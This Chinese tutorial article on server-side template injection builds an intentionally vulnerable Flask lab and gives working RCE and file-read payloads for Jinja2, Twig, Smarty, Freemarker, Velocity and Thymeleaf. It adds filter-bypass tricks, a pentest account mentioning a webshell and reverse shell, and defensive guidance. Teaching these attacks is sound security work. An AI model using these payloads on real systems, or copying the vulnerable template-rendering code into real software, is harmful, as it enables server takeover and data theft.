尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SSTI漏洞实战解析:从原理到靶场搭建与防御

SSTI漏洞实战解析:从原理到靶场搭建与防御 1. 从一次“意外”的服务器信息泄露说起去年我在帮一个朋友的公司做一次简单的安全自查。他们的业务是一个内部使用的文档管理系统开发得比较早期功能也相对简单。朋友信誓旦旦地说“我们这个系统简单得很就几个页面用户都是内部员工没啥安全问题。”我例行公事地打开浏览器随便点开几个页面在搜索框里输入了几个常见的测试字符比如{{7*7}}然后按下了回车。结果让我和他都愣住了。搜索结果的页面顶部赫然显示着49。这可不是一个正常的搜索结果应该出现的东西。紧接着我又尝试了{{config}}页面上瞬间打印出了一大串配置信息包括数据库连接字符串、密钥等敏感内容。朋友的脸一下子就白了。这就是一个典型的**SSTI服务器端模板注入**漏洞。这个看似“简单”的系统因为开发人员对模板引擎的使用不当门户大开。SSTI全称Server-Side Template Injection即服务器端模板注入。它不是什么新鲜玩意儿但在Web安全领域它就像一个“沉睡的巨人”一旦被忽视造成的破坏可能比SQL注入更直接、更严重。简单来说它发生在应用程序将用户输入直接拼接进模板语句并且未经过滤就交给模板引擎去渲染执行的时候。攻击者可以借此注入恶意代码最终在服务器上执行任意命令完全控制服务器。今天我们就来彻底拆解SSTI。这篇文章适合所有Web开发者、安全测试人员以及对应用安全感兴趣的运维同学。我会从一个真实的“踩坑”场景出发带你理解SSTI的原理、亲手搭建一个靶场SSTI-lab进行实战演练、掌握不同模板引擎Jinja2, Twig, Smarty等的利用技巧并最终告诉你如何从开发和运维两端彻底堵上这个漏洞。这不是一篇照本宣科的理论文章而是我结合多次渗透测试和代码审计经验总结出的“避坑指南”和“实战手册”。2. SSTI漏洞的本质当用户输入成为代码的一部分要理解SSTI我们必须先搞明白现代Web开发中“模板引擎”扮演的角色。你用过Python的Jinja2、PHP的Twig、Smarty或者Java的Freemarker吗它们的核心作用就是将动态数据和静态的HTML模板结合起来生成最终的网页。比如一个简单的欢迎语句h1Welcome, {{ username }}!/h1这里{{ username }}就是一个模板变量服务器会用实际的用户名字符串替换它。问题就出在这个“替换”的过程上。2.1 安全与不安全的使用方式安全的用法是username仅仅是一个待渲染的数据。# 安全示例username是纯数据 template Template(Welcome, {{ name }}!) output template.render(nameuser_input) # 假设user_input是“Alice” # 输出Welcome, Alice!在这个例子里无论用户输入什么它都被当作字符串name的值来处理。不安全的用法是用户输入被直接拼接进了模板的语法结构里。# 危险示例用户输入被拼接进模板字符串 user_input request.args.get(name) template_str Welcome, user_input ! # 用户可控部分进入了模板字符串 template Template(template_str) output template.render()如果用户输入是{{7*7}}那么template_str就变成了Welcome, {{7*7}}!。模板引擎会忠实地执行{{7*7}}这个表达式输出Welcome, 49!。这就完成了一次注入。核心区别在于安全的用法中用户输入是模板渲染时的“参数值”不安全的用法中用户输入成了模板本身的“源代码”的一部分。模板引擎的强大之处在于它能执行表达式、调用函数、访问属性一旦攻击者控制了“源代码”他就能利用这些能力。2.2 漏洞产生的典型场景根据我的经验SSTI漏洞常出现在以下几个地方动态页面生成比如上面例子中的个性化欢迎语或者错误页面动态包含错误信息。# 错误示范将错误信息直接嵌入模板 error_template Template(pError: error_msg /p)如果error_msg包含模板语法就会被执行。邮件模板系统发送的邮件标题或内容支持变量替换。subject Template(Reminder: {{ event_name }}).render(event_nameuser_input)如果渲染逻辑有问题这里也可能产生注入。报表/文档生成一些系统允许用户自定义报表的页眉、页脚其中可能包含模板变量。CMS的模块/插件很多内容管理系统的插件允许管理员在后台输入一些“自定义代码”来扩展功能这些代码往往会被当作模板解析。注意并非所有将用户输入放入模板的行为都是SSTI。关键在于用户输入是否能够“突破”数据上下文侵入到模板的指令或表达式层面。一个快速的判断方法是如果用户输入中的模板语法符号如{{、{%、%等被原样输出那么通常是安全的如果它们被引擎解析并执行了那就存在SSTI风险。3. 亲手搭建与剖析SSTI-lab靶场实战理论讲得再多不如亲手试一次。为了让大家能安全、合法地体验SSTI的发现和利用过程我强烈建议你在本地或测试环境搭建一个靶场。这里我以Python Flask Jinja2 为例带你快速构建一个包含漏洞的SSTI-lab。3.1 环境准备与漏洞代码编写首先确保你的环境有Python3和pip。# 创建一个新的项目目录 mkdir ssti-lab cd ssti-lab # 创建虚拟环境推荐 python3 -m venv venv source venv/bin/activate # Linux/Mac # venv\Scripts\activate # Windows # 安装Flask pip install flask接下来创建我们的漏洞应用vulnerable_app.pyfrom flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): return h1SSTI 测试实验室/h1 ul lia href/safe?nameGuest安全示例/a/li lia href/unsafe?nameGuest不安全示例/a/li lia href/complex复杂注入点示例/a/li /ul # 场景1安全的用法 - 用户输入作为变量值 app.route(/safe) def safe(): name request.args.get(name, World) # 正确的做法模板是固定的用户输入是渲染参数 template h2Hello, {{ name }}!/h2 return render_template_string(template, namename) # 场景2不安全的用法 - 用户输入被拼接进模板字符串 app.route(/unsafe) def unsafe(): name request.args.get(name, World) # 危险的写法用户输入直接成为模板的一部分 template h2Hello, name !/h2 return render_template_string(template) # 试访问 /unsafe?name{{7*7}} # 场景3更隐蔽的不安全用法 - 在渲染函数中直接使用用户输入 app.route(/complex) def complex_vuln(): user_input request.args.get(input, ) # 模拟一种场景根据用户输入选择“模板文件”但实际是动态拼接 # 假设我们有一个简单的“模板”查找逻辑 base_template User said: {{ content }} # 错误地将用户输入当作待渲染的内容变量名不这里我们犯另一个错 # 直接把用户输入放到 {{ ... }} 内部 template User said: {{ user_input }} # 又或者错误地使用了 render_template_string 的参数 return render_template_string(template) # 这会导致语法错误但另一种常见错误是 # return render_template_string(User said: {{ %s }} % user_input) if __name__ __main__: app.run(debugTrue) # debug模式方便看错误信息生产环境务必关闭运行这个应用python vulnerable_app.py访问http://127.0.0.1:5000你就有了一个最基础的SSTI靶场。3.2 漏洞检测与确认现在我们扮演攻击者的角色来探测和确认漏洞。基础探测访问http://127.0.0.1:5000/unsafe?nameGuest页面正常显示“Hello, Guest!”。注入尝试访问http://127.0.0.1:5000/unsafe?name{{7*7}}。预期结果如果页面显示“Hello, 49!”恭喜你SSTI漏洞存在模板引擎计算了7*7。实际结果你应该能看到“Hello, 49!”。这说明用户输入的{{7*7}}被当作Jinja2表达式执行了。信息探测尝试获取一些内置对象信息。{{config}}可能会直接打印出Flask的配置信息包含密钥等。{{request.environ}}查看请求环境变量。{{.__class__}}查看空字符串的类对象。这会返回class str证明我们可以访问Python对象体系。踩坑心得在实际测试中直接输入{{config}}有时会因为对象不可序列化而导致服务器返回500错误。但这本身就是一个强烈的漏洞指示信号错误信息可能泄露路径等信息。更稳健的做法是使用{{config.items()}}来遍历键值对。另外不同模板引擎的语法不同探测时需要变换payload例如在Twig中可能是{{_self}}在Smarty中是{$smarty.version}。3.3 漏洞利用从信息泄露到命令执行确认漏洞后攻击者的目标通常是执行系统命令RCE。在Jinja2中由于沙盒机制直接执行命令并不容易但我们可以通过Python的对象继承链来找到危险函数。利用链思路找到一个内置类对象如(字符串)、[](列表)、{}(字典)或request。通过__class__属性找到它的类。通过__mro__或__bases__找到其父类通常是object。通过__subclasses__()方法列出所有子类。在这些子类中寻找可以用于执行命令的类如os._wrap_close、subprocess.Popen。实例化该类并调用其危险方法。一个经典的Payload构造过程如下我们一步步来第一步找到对象基类访问http://127.0.0.1:5000/unsafe?name{{.__class__}}输出class str我们拿到了字符串类。第二步向上寻找基类访问http://127.0.0.1:5000/unsafe?name{{.__class__.__mro__}}输出(class str, class object)。__mro__Method Resolution Order显示了继承顺序object是所有类的基类。 或者用__bases__{{.__class__.__bases__}}输出(class object,)。第三步找到object的所有子类访问http://127.0.0.1:5000/unsafe?name{{.__class__.__bases__[0].__subclasses__()}}这会输出一个很长的列表包含了当前Python环境中加载的所有类。我们需要在这个列表里找到有用的类。第四步定位危险类以subprocess.Popen为例我们需要知道subprocess.Popen在子类列表中的索引。由于输出很长我们可以写一个简单的脚本在本地模拟或者使用更精巧的Payload来搜索。这里提供一个手动测试的思路我们可以利用Jinja2的循环和判断来简化搜索。但注意在漏洞利用时我们的输入长度可能受限。一个常见的方法是先尝试一些已知的常用索引。通过查阅资料或经验我们知道在某些环境下class subprocess.Popen的索引可能在200-300之间。一个更通用的方法是利用Payload先获取子类列表的长度和部分信息再精确定位。# 一个在本地交互式环境中确定索引的示例 str_class .__class__ object_class str_class.__bases__[0] subclasses object_class.__subclasses__() for i, subclass in enumerate(subclasses): if Popen in str(subclass): print(i, subclass) break # 假设输出是 258 class subprocess.Popen第五步构造命令执行Payload知道了索引假设是258我们就可以构造Payload来执行命令了{{.__class__.__bases__[0].__subclasses__()[258](whoami, shellTrue, stdout-1).communicate()}}这个Payload做了以下几件事.__class__.__bases__[0]获取object类。.__subclasses__()[258]获取subprocess.Popen类。(whoami, shellTrue, stdout-1)实例化Popen对象执行whoami命令。.communicate()获取命令执行结果。将上述Payload进行URL编码后访问http://127.0.0.1:5000/unsafe?name{{.__class__.__bases__[0].__subclasses__()[258](whoami%2c%20shellTrue%2c%20stdout-1).communicate()}}如果成功页面可能会返回命令的输出或者因为输出流问题显示为空但命令已执行。更稳定的方式可能是将输出重定向到一个文件或者使用反弹shell的Payload。重要警告以上所有操作仅限在你拥有完全权限的本地靶场或授权测试的环境中进行。未经授权对任何线上系统进行测试是非法行为。4. 跨越引擎的利用常见模板引擎Payload手册在实际渗透测试中你遇到的不会总是Jinja2。不同的语言、不同的框架使用不同的模板引擎它们的语法和内置对象差异很大。能否快速识别和利用考验的是你的“武器库”是否齐全。下面我整理了几个主流模板引擎的SSTI利用思路和典型Payload。4.1 Jinja2 (Python Flask/Django等)除了上面提到的通过对象继承链的利用方式还有一些常用的技巧和简化Payload。读取文件{{ get_flashed_messages.__globals__.__builtins__.open(/etc/passwd).read() }}这里利用了Flask的get_flashed_messages函数的__globals__属性来访问Python内置函数open和read。执行命令另一种方式{{ config.__class__.__init__.__globals__[os].popen(id).read() }}通过config对象的__init__方法的全局变量来导入os模块。探测与确认Payload{{7*7}}-49{{7*7}}-7777777字符串乘法可用于区分其他引擎{{request.environ}}查看环境4.2 Twig (PHP Symfony等)Twig是PHP世界广泛使用的模板引擎。它的语法和Jinja2类似但底层是PHP。基本确认{{7*7}}同样会输出49。利用_selfTwig中有一个特殊的_self变量指向模板自身通过它可以访问到Twig的Environment对象进而调用危险函数。{{_self.env.registerUndefinedFilterCallback(exec)}}{{_self.env.getFilter(id)}}这个Payload先注册一个回调然后尝试获取一个不存在的过滤器id触发回调执行exec(id)。更直接的RCE旧版本或特定配置{{[id]|filter(system)}}或者利用map过滤器{{[cat /etc/passwd]|map(system)}}4.3 Smarty (PHP)Smarty的语法使用{}包裹但默认不执行PHP代码。不过它有一些内置函数可以用于利用。确认{7*7}可能会被解析但更常用的是利用{$smarty.version}来探测。如果输出Smarty版本号则存在注入风险用户输入可能被赋值给变量。利用{php}标签仅限Smarty 2且$php_handling设置允许时{php}echo id;{/php}注意Smarty 3默认移除了{php}标签所以这种方法基本已失效。利用{if}标签执行PHP函数{if phpinfo()}{/if}如果服务器配置了$security设置中的IF_FUNCS包含phpinfo这可能会被执行。利用{system()}在某些非常不安全的配置下直接写{system(id)}也可能生效。4.4 Freemarker (Java)Freemarker的语法比较复杂利用方式也更多样。基本确认#assign exfreemarker.template.utility.Execute?new() ${ ex(whoami) }如果页面执行了whoami命令则漏洞存在。利用内置的new函数这是Freemarker SSTI最经典的利用方式它可以实例化任意类。#assign valuecom.example.EvilClass?new() ${value}或者直接调用Runtime执行命令#assign exfreemarker.template.utility.Execute?new()${ ex(calc) } #assign rtfreemarker.template.utility.ObjectConstructor?new()${ rt(java.lang.Runtime).getRuntime().exec(calc) }4.5 Velocity (Java)Velocity的利用通常依赖于访问其上下文中的对象或调用方法。利用Runtime执行命令#set($str$class.inspect(java.lang.String).type) #set($chr$class.inspect(java.lang.Character).type) #set($ex$class.inspect(java.lang.Runtime).type.getRuntime().exec(whoami)) $ex.waitFor() #set($out$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end这是一个比较完整的利用链获取Runtime执行命令并读取输出。通用探测技巧 当你面对一个未知的模板引擎时可以尝试以下步骤模糊测试依次输入{{7*7}}、${7*7}、% 7*7 %、${{7*7}}、#{7*7}等观察页面输出是否有49或计算痕迹。错误信息输入{{、${等不闭合的语法观察服务器是否返回特定的模板引擎错误信息如Jinja2、Twig、Freemarker的错误信息各有特点。搜索引擎将错误信息或特征字符串如页面中出现的特定类名拿去搜索快速定位模板引擎类型。5. 防御之道从开发到部署的全链路防护知道了怎么攻击更重要的是知道如何防御。SSTI的防御必须是多层次、全链路的不能只依赖某一个环节。5.1 开发阶段遵循安全编码规范这是最根本、最有效的一环。严格区分代码与数据这是黄金法则。永远不要将用户输入直接拼接到模板字符串中。模板应该是静态的、预定义的动态数据只能作为参数传递给模板引擎进行渲染。错误template Hello, username !; render(template)正确template Hello, {{name}}!; render(template, nameusername)使用安全的模板渲染函数/方法大多数现代框架都提供了安全的渲染方式。Flask/Jinja2: 使用render_template渲染文件或render_template_string渲染字符串并确保第二个参数是字典形式的上下文变量。# 安全 return render_template_string(Hello {{ n }}!, nusername) # 危险 return render_template_string(Hello username !)对动态模板内容进行严格过滤与沙盒化如果业务上确实需要支持用户自定义模板如邮件模板、报表模板那么必须白名单过滤只允许用户使用一组预先定义好的、安全的“标签”或“变量”例如{{ customer_name }}、{{ order_id }}。可以使用正则表达式或专门的解析库来剔除所有未在白名单中的模板语法符号{,},$,%,%等。启用沙盒模式许多模板引擎支持沙盒环境限制可访问的类、函数和属性。例如Jinja2的SandboxedEnvironment可以大幅减少攻击面。from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment() # 即使模板字符串被污染沙盒环境也会阻止危险操作 template env.from_string(user_controlled_template) result template.render(safe_variables...)上下文隔离确保用户模板只能访问你明确传递给它的数据不能访问应用的全局上下文、配置或请求对象。5.2 框架与组件配置禁用不必要的模板功能在生产环境中检查并禁用模板引擎的危险功能。例如在Jinja2中可以考虑设置app.jinja_env.autoescape True # 确保自动转义开启虽然对SSTI本身防御有限但对XSS至关重要 # 避免使用不安全的过滤器或全局函数对于Smarty确保$security设置是严格的并禁用{php}标签。及时更新依赖保持模板引擎和框架版本最新已知的沙盒逃逸漏洞会在新版本中被修复。5.3 安全测试与运维监控将SSTI测试纳入SAST/DAST在代码静态扫描SAST工具规则中加入SSTI漏洞的检测模式如查找字符串拼接模板渲染的代码模式。在动态应用安全测试DAST或渗透测试中将{{7*7}}、${7*7}等Payload作为常规测试用例。输入验证与WAF在应用层或网络层对用户输入进行严格的验证过滤或转义模板语法关键字。Web应用防火墙WAF可以配置规则来拦截常见的SSTI攻击Payload。监控与日志审计在服务器日志中监控异常的模板渲染错误。频繁出现模板语法错误尤其是包含__class__、__subclasses__、os、system等关键词的错误可能意味着正在遭受SSTI攻击尝试。建立告警机制。5.4 一个容易被忽略的盲点错误的错误处理我曾在审计一个系统时发现一个有趣的案例。它的主模板渲染是安全的但在404错误处理页面中开发者为了“友好地”显示用户访问的无效URL写了这样的代码app.errorhandler(404) def page_not_found(e): url request.path # 用户访问的路径 # 危险将用户控制的路径拼接到模板中 return render_template_string(h1Page {{ url }} not found/h1, urlurl), 404攻击者可以访问一个像http://example.com/{{config}}这样的URL触发404错误从而在错误页面中执行SSTI。防御要点即使是在错误处理、日志记录等非核心功能中只要涉及模板渲染就必须遵循同样的安全规范。6. 高级利用与沙盒逃逸当基础防御失效时即使应用使用了沙盒环境或进行了过滤攻击者仍可能通过更复杂的技巧进行“沙盒逃逸”。理解这些高级技巧有助于我们设计更坚固的防御。6.1 利用Python特性进行沙盒逃逸Jinja2的沙盒并非绝对安全历史上出现过多个逃逸漏洞。攻击思路通常是寻找沙盒允许访问的“安全”对象或函数并通过它们作为跳板访问被禁止的模块。利用__builtins__或__import__如果沙盒配置不当某些上下文可能仍然隐式包含了__builtins__或允许__import__函数。Payload可能形如{{ [].__class__.__base__.__subclasses__()[X].__init__.__globals__[__builtins__][__import__](os).system(id) }}这里的关键是找到一条能通回__builtins__这个字典的链它里面包含了所有内置函数。利用Python的模块缓存sys.modules如果能访问到sys模块就可以从缓存中取出已导入的os模块。{{ self.__init__.__globals__.__builtins__.__import__(sys).modules[os].system(id) }}假设self在上下文中可用且能回溯到__builtins__利用属性访问的链式操作沙盒可能会检查最终调用的函数但对中间漫长的属性访问链检查不严。攻击者可以构造非常长的链来绕过简单的关键字过滤。6.2 针对过滤的绕过技巧如果应用层对输入进行了关键词过滤如过滤__class__、os、system攻击者会尝试各种绕过字符串拼接{{ [__class__] }} {{ [__class__] }}Jinja2允许使用[]进行属性访问并且字符串可以拼接。使用编码或进制{{ [\x5f\x5fclass\x5f\x5f] }} # 十六进制 {{ [\137\137class\137\137] }} # 八进制或者利用chr函数动态生成字符{{ [(chr(95)chr(95)chr(99)chr(108)chr(97)chr(115)chr(115)chr(95)chr(95))] }}利用过滤器Jinja2的过滤器可能被用来处理字符串从而构造出被过滤的关键字。{{ |attr([_*2, class, _*2]|join) }}这里使用attr过滤器并传入一个拼接出来的字符串__class__。使用request对象如果request对象在模板上下文中可用Flask中默认可用它本身就是一个丰富的跳板其environ属性、application属性等都可能指向其他模块。防御建议不要依赖黑名单过滤试图过滤所有危险关键词是不现实的总会有漏网之鱼或绕过方法。坚持白名单对于需要动态模板的场景只允许预定义的、安全的占位符。使用经过严格测试的沙盒并密切关注模板引擎的安全更新。最小化模板上下文只传递模板渲染所必需的最少数据。7. 实战复盘一次完整的SSTI漏洞挖掘与利用过程让我分享一次真实的内部渗透测试经历目标是一个使用Java Spring Boot Thymeleaf模板引擎的管理系统。这能帮你把前面的知识点串联起来。第一阶段信息收集与探测目标系统是一个数据报表平台用户可以在前端输入一些过滤条件后端生成报表。我注意到一个“自定义表头”的功能允许用户输入列名。输入${7*7}提交后生成的报表PDF中对应列标题显示为49。SSTI漏洞确认引擎是Thymeleaf因为${}是Thymeleaf表达式语法。第二阶段尝试基础利用尝试直接执行命令${T(java.lang.Runtime).getRuntime().exec(whoami)}。页面返回500错误但错误日志显示命令执行了只是没有输出到响应中。这是一个“盲注”。我需要获取命令执行的结果。于是构造Payload读取文件${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(whoami).getInputStream())}。这里利用了常见的IOUtils类来读取进程输出。成功在报表的角落看到了当前服务的运行用户。第三阶段深入利用与权限提升通过读取/etc/passwd和Web应用配置文件了解了服务器环境。发现应用以较高权限运行。尝试写入Webshell${T(org.apache.commons.io.IOUtils).copy(T(java.lang.Runtime).getRuntime().exec(echo PDwK...).getInputStream(), T(java.io.FileOutputStream)(“/tmp/shell.php”))}这里将一段简短的PHP代码Base64后写入。由于对Web目录没有写权限写入失败。转换思路利用漏洞在服务器上开启一个反向Shell连接回我的监听服务器。构造了一个复杂的Payload使用bash -c执行编码后的命令成功获取了一个交互式的Shell会话。第四阶段漏洞修复建议在报告中我详细指出了漏洞位置处理“自定义表头”的Controller方法并给出了修复方案立即修复将Thymeleaf的渲染模式从TEXT改为HTML并对用户输入进行HTML转义。但这只能防御XSS对SSTI无效。最根本的是放弃将用户输入直接作为模板片段渲染的设计。长期方案重构该功能。改为提供一组预定义的“宏”或“变量”供用户选择如${report_date},${user_name}后端将这些占位符替换为真实数据而不是将用户输入交给模板引擎解析。这次测试再次印证了任何将用户可控数据与模板代码混合的地方都是SSTI的潜在温床。修复的核心永远是“隔离数据与代码”。8. 自动化工具与资源提升你的SSTI测试效率手动构造Payload虽然灵活但在大规模测试或时间紧迫时自动化工具能极大提升效率。tplmap这是一款经典的SSTI自动化检测和利用工具用Python编写。它支持多种模板引擎Jinja2, Mako, Tornado, Twig, Smarty, Freemarker, Velocity等能自动探测引擎类型、测试注入点、并尝试执行命令。python tplmap.py -u http://target.com/page?nametest*它会自动替换*为测试Payload并给出漏洞确认和利用方法。Burp Suite 插件 - SSTI Scanner作为Burp的被动扫描插件它可以在你浏览网站时自动检测潜在的SSTI漏洞并标记出可疑的请求参数。手工测试的浏览器插件或书签可以制作一些包含常见Payload的书签一键测试。例如一个测试Jinja2的书签其URL是javascript:locationlocation.href.replace(/(\?|)name[^]*/,$1name{{7*7}})点击后会将当前页面URL中的name参数值替换为{{7*7}}并重新访问。Payload资源库SecLists在Fuzzing目录下包含了丰富的SSTI测试Payload。PayloadsAllTheThingsGitHub上的这个项目有专门的SSTI章节整理了各种引擎的Payload和绕过技巧。HackTricks网站上有非常详细的SSTI介绍和利用链。使用工具的注意事项授权务必在获得授权的前提下使用。谨慎使用RCE功能自动化工具的“利用”功能可能会执行真实命令在测试环境中也要明确后果避免破坏性操作。工具不是万能的复杂的注入点、经过WAF过滤的目标、或非常见模板引擎可能需要你结合工具输出和手动分析才能成功。SSTI的挖掘和防御是一场持续的攻防博弈。作为开发者建立起“数据与代码分离”的思维定式是杜绝此类漏洞最有效的武器。作为安全人员深入理解原理不断丰富自己的Payload库和测试手法才能在各种场景下发现隐藏的风险。希望这篇从原理到实战、从攻击到防御的长文能成为你应对SSTI挑战的一份实用指南。
返回列表